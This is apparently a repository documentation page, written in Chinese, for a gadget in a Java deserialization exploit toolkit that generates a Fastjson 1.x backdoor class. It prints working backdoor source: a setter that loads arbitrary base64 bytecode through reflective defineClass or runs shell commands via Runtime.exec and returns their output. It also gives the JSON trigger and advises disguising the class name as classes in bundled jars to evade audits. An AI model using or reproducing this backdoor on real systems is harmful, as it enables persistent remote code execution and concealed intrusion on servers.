Skip to content

Latest commit

 

History

History
80 lines (71 loc) · 5.31 KB

File metadata and controls

80 lines (71 loc) · 5.31 KB

FastJsonbBackDoor(建议自定义类名)(FastJsonbBackDoor)

  • 类别:bytecode 别名:— 优先级:15
  • 作者:—
  • 依赖:无(目标侧需存在 Fastjson 1.x)

作用

生成一个带 Fastjson @JSONType 注解的「后门类」字节码:该类暴露 setCodez(String) setter,Fastjson 1.x 反序列化时会自动调用它,实现「传入 code 即执行命令 / 加载任意类」。它是链尾的字节码 sink(byte[] 产物),需经 BytecodeConvert 等转换器装入 TemplatesImpl 或其它字节码加载点后交给 Payload 序列化。

链接标签

  • 入口 tagsBytecodeEND —— Bytecode 表示本 gadget 承接上一环「字节码转换器」(其 nextTagsBytecode,如 BytecodeConvert);END 表示它是链的最内层终点,不再向下衔接。
  • 衔接 nextTags:空 —— 终端 sink,invokechain.doCreate(context) 之后不再包裹内层对象。
  • excludes:无。

源码剖析

gadget 本体极简,只负责把模板类编译成字节码:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(FastJsonbBackDoorBytecode.class);
    return javassistHelper.getBytecode();          // 直接读取模板类的 class 字节
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);                        // END gadget:内层为空,仅走流程
    return this.getObject();
}

JavassistHelper 用 Javassist 把 FastJsonbBackDoorBytecode 这个已编译类读回为 byte[](不做字段改写,故本 gadget 无 @Param)。真正的恶意逻辑全在模板类里:

@JSONType
public class FastJsonbBackDoorBytecode {
    public void setCodez(String codez) throws Exception {
        try {
            Class.forName("java.util.Base64");
            byte[] decode = Base64.getDecoder().decode(codez);
            FastJsonbBackDoorBytecode.defineclass(decode);        // 优先:把 codez 当 base64 字节码加载
        } catch (Exception e) {
            // 回退:把 codez 当系统命令执行
            String[] cmds = os.contains("window")
                ? new String[]{"cmd.exe","/c",codez}
                : new String[]{"/bin/sh","-c",codez};
            InputStream is = Runtime.getRuntime().exec(cmds).getInputStream();
            String next = new Scanner(is).useDelimiter("\\A").next();
            throw new Exception(next);                              // 命令回显借异常带出
        }
    }
    public static void defineclass(byte[] decode) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod(
            "defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
        defineClass.setAccessible(true);
        Class invoke = (Class) defineClass.invoke(
            Thread.currentThread().getContextClassLoader(), decode, 0, decode.length);
        invoke.newInstance();                                       // 加载并实例化任意类
    }
}

关键点:

  • 类上的 @JSONType 与 public setter setCodez 使其成为 Fastjson 1.x 可反序列化目标——攻击者只要把该类种入目标(作为可加载的 class),后续用一段普通 JSON {"@type":"<自定义类名>","codez":"..."} 即可反复触发,无需再走复杂 gadget 链。
  • setCodez 双分支:codez 先按 base64 字节码走反射 ClassLoader.defineClass 定义并 newInstance 任意类(隐蔽、可加载内存马);解码/加载失败则回退为 Runtime.exec 直接执行命令,命令输出通过 throw new Exception(next) 带回给调用方。

参数(@Param)

本类无 @Param

说明
类名 建议在工具界面自定义,伪装成依赖内既有 jar 的类名(如 nashorn.jardnsns.jar 中的类)以规避审计
codez 后门被触发时由 Fastjson 请求体提供,不在本 gadget 配置

适用版本与原理要点

  • 面向 Fastjson 1.x 全版本:不依赖具体反序列化 gadget,而是投放一个「自身即后门」的类,之后用最朴素的 @type 指定它 + codez 属性完成 RCE。
  • description 提示:配合 asciijar 场景把类名改成 JDK/依赖内既有 jar 中的类名,可提升隐蔽性。参见作者引用的公开分析(flowerwind 博客「分享一次组合漏洞挖掘拿下目标」)。
  • 作为 byte[] sink,本身不含加载逻辑,须由上游转换器(BytecodeConvertTemplatesImpl.defineClass,或 BCEL / 文件落地等)触发被加载。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。典型用法:[BytecodeConvert, FastJsonbBackDoor] 或装入任意可加载字节码的 sink。

关联